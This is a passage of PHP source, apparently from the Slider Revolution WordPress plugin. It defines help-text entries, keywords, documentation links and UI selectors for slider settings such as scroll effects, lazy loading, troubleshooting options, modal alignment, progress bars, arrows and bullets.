'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll', $f => "#sr_se_grayset" ) ), 'blur' => array( $di => "slider_scrolleffects_blur", $t => __("Blur", 'revsliderhelp'), $h => "scrolleffects.setBlur", $k => array("scroll", "scroll effects", "blur on scroll", "special effects", "blur"), $d => __("Apply a blur filter to the Slider when it scrolls into and out of view", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll', $f => "#sr_se_blurset" ) ), 'blur_value' => array( $t => __("Blur Value", 'revsliderhelp'), $h => "scrolleffects.maxBlur", $k => array("scroll", "scroll effects", "blur on scroll", "special effects", "blur"), $d => __("The blur filter strength for the Blur scroll effect (px)", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array( array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled'), array($p => 'settings.scrolleffects.setBlur', $v => true, $o => 'slider_scrolleffects_blur') ), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll', $f => "#sr_se_blurMax" ) ), 'use_on' => array( 'layers' => array( $t => __("Layers", 'revsliderhelp'), $h => "scrolleffects.layers", $k => array("scroll", "scroll effects", "blur layers", "fade layers"), $d => __("Apply the effect(s) to all Layers", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_on', $f => "#sr_screff_layers" ) ), 'parallax_layers' => array( $t => __("Parallax Layers", 'revsliderhelp'), $h => "scrolleffects.parallaxLayers", $k => array("scroll", "scroll effects", "blur layers", "fade layers", "parallax", "parallax layers"), $d => __("Apply the effect(s) to all Parallax Layers", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_on', $f => "#sr_screff_parallaxLayers" ) ), 'slide_bg' => array( $t => __("Slide Background", 'revsliderhelp'), $h => "scrolleffects.bg", $k => array("scroll", "scroll effects", "blur background", "fade background", "slide background", "slide bg", "image background"), $d => __("Apply the effect(s) to the Slide's main background", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_on', $f => "#sr_screff_bg" ) ), 'static_layers' => array( $t => __("Static/Global Layers", 'revsliderhelp'), $h => "scrolleffects.staticLayers", $k => array("scroll", "scroll effects", "blur global layers", "fade global layers", "static layers", "global", "global layers"), $d => __("Apply the effect(s) to the Slide's Static/Global Layers", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_on', $f => "#sr_screff_staticLayers" ) ), 'static_parallax_layers' => array( $t => __("Static/Global Parallax Layers", 'revsliderhelp'), $h => "scrolleffects.staticParallaxLayers", $k => array("scroll", "scroll effects", "blur global layers", "fade global layers", "static layers", "global", "global layers", "parallax"), $d => __("Apply the effect(s) to the Slide's Static/Global Parallax Layers", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_on', $f => "#sr_screff_staticParallaxLayers" ) ) ), $dp => array( 'direction' => array( $t => __("Scroll Direction", 'revsliderhelp'), $h => "scrolleffects.direction", $k => array("scroll", "scroll effects", "scroll direction"), $d => __("Apply the effect(s) when the page is scrolled from the top, bottom, or both directions", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_dependencies', $f => "#slider_screff_direction" ) ), 'disable_mobile' => array( $t => __("Disable on Mobile", 'revsliderhelp'), $h => "scrolleffects.disableOnMobile", $k => array("scroll", "scroll effects", "disable", "disable mobile", "disable on mobile"), $d => __("Disable the effects on mobile devices", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_dependencies', $f => "#sr_screff_disableOnMobile" ) ), 'offset_tilt' => array( $t => __("Offset Tilt", 'revsliderhelp'), $h => "scrolleffects.tilt", $k => array("scroll", "scroll effects", "tilt", "offset tilt"), $d => __("The percentage the Slider is in the page's viewport before the effect(s) are applied", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_dependencies', $f => "#sr_screff_tilt" ) ), 'multiple_bg' => array( $t => __("BG Strength", 'revsliderhelp'), $h => "scrolleffects.multiplicator", $k => array("scroll", "scroll effects", "multiple factor"), $d => __("The strength of the opacity, blur or grayscale filter for the effect(s) for the Slide's main background", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_dependencies', $f => "#sr_screff_multiplicator" ) ), 'multiple_layers' => array( $t => __("Layers Strength", 'revsliderhelp'), $h => "scrolleffects.multiplicatorLayers", $k => array("scroll", "scroll effects", "multiple factor"), $d => __("The strength of the opacity, blur or grayscale filter for the effect(s) for the Slide's Layers", 'revsliderhelp'), $a => $u . "parallax-3d-effect/", $hl => array( $dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')), $m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll_dependencies', $f => "#sr_screff_multiplicatorLayers" ) ) ) ) ), 'addons' => array(), 'gst_sl_10' => array( 'lazy_loading' => array( $t => __("Lazy Loading", 'revsliderhelp'), $h => "general.lazyLoad", $k => array("lazy", "lazy load", "lazy loading"), $d => __("Choose 'All' to LazyLoad all images in the Slider when the Slider first loads, 'Smart' to only LazyLoad the prev/next Slide's images, and 'Single' to only LazyLoad the current Slide's images.", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#sr_adv_performance_load") ), 'bgdpr' => array( $t => __("Device Pixel Ratio", 'revsliderhelp'), $h => "general.DPR", $k => array("dpr", "device aspect ratio", "image quality", "background", "blurry"), $d => __("Allows to use higher DPR on 4k, 5k , Retina displays. Higher Maximum value can have negativ influence on complex Canvas animations. Lower Value can have negative influence on Image Quality on 4K+ Devices. In cae animations or Pan Zoom are not smooth, try lower DPR, and incase BG Image blurry, try higher DPR.", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#sliderbgdpr") ), 'simplify' => array( $t => __("Simplify on IOS4/IE8", 'revsliderhelp'), $h => "troubleshooting.simplify_ie8_ios4", $k => array("fallback", "simplify", "simplify on", "simplify animations"), $d => __("Simplify Animations for better compatibility with IOS4/IE8", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#sr_simplify_ie8_ios4") ), 'alt_image' => array( $di => "slider_troubleshooting_alternativeimage", $t => __("Alternative Image", 'revsliderhelp'), $h => "troubleshooting.alternateImageType", $k => array("alternative image", "fallback image"), $d => __("Show a simple image instead of the Slider on mobile, IE8 or both", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#slider_fallback_alt_image") ), 'alt_image_url' => array( $t => __("Alternative Image URL", 'revsliderhelp'), $h => "troubleshooting.alternateURL", $k => array("alternative image", "fallback image", "fallback image url", "fallback url"), $d => __("The url for the fallback image if a fallback is used for IE8/Mobile", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array( $dp => array(array($p => 'settings.troubleshooting.alternateImageType', $v => 'mobile::ie8::mobile-ie8', $o => 'slider_troubleshooting_alternativeimage')), $m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_loading', $f => "#troubleshooting_alternateURL" ) ), 'jquery_noconflict' => array( $t => __("jQuery No Conflict Mode", 'revsliderhelp'), $h => "troubleshooting.jsNoConflict", $k => array("jquery", "jquery noconflict", "no conflict", "jQuery no conflict"), $d => __("Call jQuery.noConflict() to help avoid conflicts with other themes/plugins", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_conflictmode") ), 'js_to_body' => array( $t => __("Put JS to Body", 'revsliderhelp'), $h => "troubleshooting.jsInBody", $k => array("js to body", "js to body", "troubleshooting"), $d => __("Load the Slider's JS files in the page's body to help resolve conflicts", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_jsInBody") ), 'output_filter' => array( $t => __("Output Filter Protection", 'revsliderhelp'), $h => "troubleshooting.outPutFilter", $k => array("output", "output filter"), $d => __("Useful for solving a conflict when the current theme runs filters over the page's main content", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_filters") ), 'debug_mode' => array( $t => __("Debug Mode", 'revsliderhelp'), $h => "troubleshooting.debugMode", $k => array("debug", "debug mode", "troubleshooting"), $d => __("Display debug information on the Slider to help show issues during development", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_10", $st => '#form_slidergeneral_advanced_fallback', $f => "#sr_trbl_debugMode") ) ), 'gst_sl_11' => array( 'custom_css' => array( $t => __("Custom CSS", 'revsliderhelp'), $h => "rs_css_area", $k => array("custom css", "css", "add css", "slider css"), $d => __("Add your own custom CSS to the Slider", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_11, .js_css_editor_tabsarray[data-mode='css']", 'modal' => "css_jquery") ), 'custom_js' => array( $t => __("Custom JavaScript", 'revsliderhelp'), $h => "rs_js_area", $k => array("custom js", "javascript", "custom javascript", "jquery", "custom jquery", "jquery"), $d => __("Add your own custom JavaScript to the Slider", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_11, .js_css_editor_tabsarray[data-mode='javascript']", 'modal' => "css_jquery") ), 'slider_api' => array( $t => __("Slider API", 'revsliderhelp'), $h => "rs_api_area", $k => array("custom js", "javascript", "custom javascript", "jquery", "custom jquery", "jquery", "api", "slider api"), $d => __("Slider Revolution API methods and events", 'revsliderhelp'), $a => $u . "advanced-module-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_11, .js_css_editor_tabsarray[data-mode='javascript'], #form_slidergeneral_advanced_api", 'modal' => "css_jquery") ) ), 'gst_sl_13' => array( 'modal_align_hor' => array( $t => __("Modal Horizontal Alignment", 'revsliderhelp'), $h => "modal.horizontal", $k => array("modal", "as modal", "alignment", "modal align", "align"), $d => __("Choose how the Module should be horizontally aligned to the page when loaded as a Modal", 'revsliderhelp'), $a => $u . "as-modal", $hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => ".modal_hor_selector.selected") ), 'modal_align_ver' => array( $t => __("Modal Vertical Alignment", 'revsliderhelp'), $h => "modal.vertical", $k => array("modal", "as modal", "alignment", "modal align", "align"), $d => __("Choose how the Module should be vertically aligned to the page when loaded as a Modal", 'revsliderhelp'), $a => $u . "as-modal", $hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => ".modal_ver_selector.selected") ), 'use_modal_cover' => array( $di => 'modal_cover', $t => __("Use Cover as Modal", 'revsliderhelp'), $h => "modal.cover", $k => array("modal", "as modal", "cover", "background"), $d => __("Include a background cover when the Module is loaded as a Modal", 'revsliderhelp'), $a => $u . "as-modal", $hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#sr_usemodalcover") ), 'modal_cover_color' => array( $t => __("Use Cover as Modal", 'revsliderhelp'), $h => "modal.coverColor", $k => array("modal", "as modal", "cover", "background", "color", "background color", "modal color"), $d => __("The background color to be applied when the Module loads as a Modal", 'revsliderhelp'), $a => $u . "as-modal", $hl => array( $dp => array(array($p => 'settings.modal.cover', $v => true, $o => 'modal_cover')), $m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#slidermodalcolor" ) ), 'body_class' => array( $t => __("Body Class", 'revsliderhelp'), $h => "modal.bodyclass", $k => array("modal", "as modal", "body class", "modal class", "class"), $d => __("Add an optional class name to the page's body element when the Module is loaded as a Modal", 'revsliderhelp'), $a => $u . "as-modal", $hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#sr_modalbodyclass") ), 'module_shortcode' => array( $t => __("Module Shortcode", 'revsliderhelp'), $h => "modalshortcode", $k => array("modal", "as modal", "body class", "modal shortcode", "shortcode"), $d => __("A special shortcode for the Module when loading it as a Modal in the page with custom JavaScript", 'revsliderhelp'), $a => $u . "as-modal", $hl => array($m => "#module_settings_trigger, #gst_sl_13", $st => '#form_slidergeneral_general_as_modal', $f => "#sr_modalshortcode") ) ) ), 'navigation_settings' => array( 'gst_nav_1' => array( 'enable' => array( $di => "nav_general_progressbar", $t => __("Enable Progress Bar", 'revsliderhelp'), $h => "general.progressbar.set", $k => array("progress", "progress bar", "enable progress bar", "activate progress"), $d => __("Add a progress bar to the Slider to display a visual representation of each Slide's timeline", 'revsliderhelp'), $a => $u . "progress-bar/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_1", $st => '#form_nav_pbara', $f => "#sr_pb_set" ) ), 'color' => array( $t => __("Progress Bar Color", 'revsliderhelp'), $h => "general.progressbar.color", $k => array("progress", "progress bar", "progress bar color"), $d => __("Adjust the color for the progress bar", 'revsliderhelp'), $a => $u . "progress-bar/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.general.progressbar.set', $v => true, $o => 'nav_general_progressbar') ), $m => "#module_navigation_trigger, #gst_nav_1", $st => '#form_nav_pbara', $f => "#sliderprogresscolor" ) ), 'position' => array( $t => __("Progress Bar Position", 'revsliderhelp'), $h => "general.progressbar.position", $k => array("progress", "progress bar", "progress bar position"), $d => __("Choose if the progress bar should appear at the top or bottom of the Slider", 'revsliderhelp'), $a => $u . "progress-bar/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.general.progressbar.set', $v => true, $o => 'nav_general_progressbar') ), $m => "#module_navigation_trigger, #gst_nav_1", $st => '#form_nav_pbara', $f => "#sr_pb_pos" ) ), 'height' => array( $t => __("Progress Bar Height", 'revsliderhelp'), $h => "general.progressbar.height", $k => array("navigation, nav", "progressbar", "progress", "timer"), $d => __("The height of the progress bar in pixels", 'revsliderhelp'), $a => $u . "progress-bar/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.general.progressbar.set', $v => true, $o => 'nav_general_progressbar') ), $m => "#module_navigation_trigger, #gst_nav_1", $st => '#form_nav_pbara', $f => "#sr_pb_height" ) ) ), 'gst_nav_2' => array( 'enable' => array( $di => "nav_arrows", $t => __("Enable Arrows", 'revsliderhelp'), $h => "nav.arrows.set", $k => array("navigation", "arrow", "arrows", "add arrows", "add navigation"), $d => __("Enable left/right Arrows for the Slider's navigation", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_mainstyle', $f => "#sr_usenavarrow" ) ), 'type' => array( $t => __("Arrows Type/Style", 'revsliderhelp'), $h => "nav.arrows.style", $k => array("navigation", "arrows", "arrow type", "arrow style", "arrows style", "arrows type"), $d => __("Choose a predefined style for the Arrows navigation", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_mainstyle', $f => "#sr_arrows_style" ) ), 'positioning' => array( 'align_by' => array( $t => __("Align By Slider/Content", 'revsliderhelp'), $h => "nav.arrows.left.align, nav.arrows.right.align", $k => array("arrows", "arrow align", "arrow alignment", "position"), $d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_left', $f => "*[name='sr_leftarralign'][value='slider'], *[name='sr_rightarralign'][value='slider']" ) ), 'alignment' => array( $t => __("Alignment", 'revsliderhelp'), $h => "nav.arrows.left.horizontal, nav.arrows.left.vertical, nav.arrows.right.horizontal, nav.arrows.right.vertical", $k => array("arrow align", "arrow alignment", "arrow position", "arrows position", "position"), $d => __("The Arrow's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_left', $f => "#left_arrow_position_selector_center-center, #right_arrow_position_selector_center-center" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "nav.arrows.left.offsetX, nav.arrows.right.offsetX", $k => array("arrow position", "arrow offset", "position"), $d => __("Offset the Arrow's horizontal position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_left', $f => "#nav_arrows_left_offsetx, #nav_arrows_right_offsetx" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "nav.arrows.left.offsetY, nav.arrows.right.offsetY", $k => array("arrow position", "arrow offset", "position"), $d => __("Offset the Arrow's vertical position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_left', $f => "#nav_arrows_left_offsety, #nav_arrows_right_offsety" ) ), 'animation' => array( $t => __("Arrows Animation", 'revsliderhelp'), $h => "nav.arrows.left.anim, nav.arrows.right.anim", $k => array("arrow animation", "arrows animation", "show arrows", "hide arrows"), $d => __("Optionally animate the arrows into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_left', $f => "#sr_arrowleft_animation, #sr_arrowright_animation" ) ) ), 'visibility' => array( 'rtl' => array( $t => __("Right to Left", 'revsliderhelp'), $h => "nav.arrows.rtl", $k => array("rtl", "right to left", "right-to-left"), $d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#sr_arrowrtl" ) ), 'show_speed' => array( $t => __("Arrows Animation Speed", 'revsliderhelp'), $h => "nav.arrows.animSpeed", $k => array("arrows visibility", "show speed", "navigation speed"), $d => __("The animation speed for when the Arrows animate into and out of view", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#nav_arrow_animSpeed" ) ), 'show_delay' => array( $t => __("Arrows Show Delay", 'revsliderhelp'), $h => "nav.arrows.animDelay", $k => array("arrows visibility", "navigation delay"), $d => __("A delay in milliseconds before the Arrows animate into view", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#nav_arrow_animDelay" ) ), 'hide_after' => array( $di => "nav_arrows_hide_after", $t => __("Hide After", 'revsliderhelp'), $h => "nav.arrows.alwaysOn", $k => array("arrows visibility", "hide after"), $d => __("Auto-hide the arrows after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#sr_arrowsalwshow" ) ), 'hide_after_desktop' => array( $t => __("Hide After: Desktop", 'revsliderhelp'), $h => "nav.arrows.hideDelay", $k => array("arrows visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Arrows are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'), array($p => 'settings.nav.arrows.alwaysOn', $v => true, $o => 'nav_arrows_hide_after') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#nav_arrows_hideDelay" ) ), 'hide_after_mobile' => array( $t => __("Hide After: Mobile", 'revsliderhelp'), $h => "nav.arrows.hideDelayMobile", $k => array("arrows visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Arrows are hidden on mobile devices (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'), array($p => 'settings.nav.arrows.alwaysOn', $v => true, $o => 'nav_arrows_hide_after') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#nav_arrows_hideDelayMobile" ) ), 'hide_under' => array( $di => "nav_arrows_hideunder", $t => __("Hide Under", 'revsliderhelp'), $h => "nav.arrows.hideUnder", $k => array("arrows visibility", "hide under", "hide under width"), $d => __("Hide the Arrows when the browser window is equal to or below a certain number", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#sr_arrowshideunder" ) ), 'hide_under_limit' => array( $t => __("Hide Under Limit", 'revsliderhelp'), $h => "nav.arrows.hideUnderLimit", $k => array("arrows visibility", "hide under", "hide under limit"), $d => __("Hide the Arrows when the browser window is equal to or below this number", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'), array($p => 'settings.nav.arrows.hideUnder', $v => true, $o => 'nav_arrows_hideunder') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#nav_arrows_hideunderlimit" ) ), 'hide_over' => array( $di => "nav_arrows_hideover", $t => __("Hide Over", 'revsliderhelp'), $h => "nav.arrows.hideOver", $k => array("arrows visibility", "hide over", "hide over limit"), $d => __("Hide the Arrows when the browser window is equal to or above a certain number", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#sr_arrowshideover" ) ), 'hide_over_limit' => array( $t => __("Hide Over Limit", 'revsliderhelp'), $h => "nav.arrows.hideOverLimit", $k => array("arrows visibility", "hide over", "hide over limit"), $d => __("Hide the Arrows when the browser window is equal to or above this number", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.arrows.set', $v => true, $o => 'nav_arrows'), array($p => 'settings.nav.arrows.hideUnder', $v => true, $o => 'nav_arrows_hideover') ), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_visi', $f => "#nav_arrows_hideoverlimit" ) ) ) ), 'gst_nav_3' => array( 'enable' => array( $di => "nav_bullets", $t => __("Enable Bullets", 'revsliderhelp'), $h => "nav.bullets.set", $k => array("navigation", "bullet", "bullets", "add bullets", "add navigation"), $d => __("Enable Bullets for the Slider's navigation", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_mainstyle', $f => "#sr_usenavbullets" ) ), 'type' => array( $t => __("Bullets Type/Style", 'revsliderhelp'), $h => "nav.bullets.style", $k => array("navigation", "bullets", "bullet type", "bullet style", "bullets style", "bullets type"), $d => __("Choose a predefined style for the Bullets navigation", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_mainstyle', $f => "#sr_bullets_style" ) ), 'positioning' => array( 'gap' => array( $t => __("Gap/Spacing", 'revsliderhelp'), $h => "nav.bullets.space", $k => array("bullets spacing", "bullet spacing", "gap", "spacing", "bullet gap", "bullets spacing", "bullet space", "bullets space"), $d => __("The spacing between the bullets (in pixels)", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_posi', $f => "#nav_bullets_space" ) ), 'orientation' => array( $t => __("Orientation", 'revsliderhelp'), $h => "nav.bullets.direction", $k => array("bullets orientation", "bullet orientation", "gap", "orientation", "bullet horizontal", "bullets horizontal", "bullet vertical", "bullets veritcal"), $d => __("Display the bullets next to one another (horizontal) or on top of one another (vertical)", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 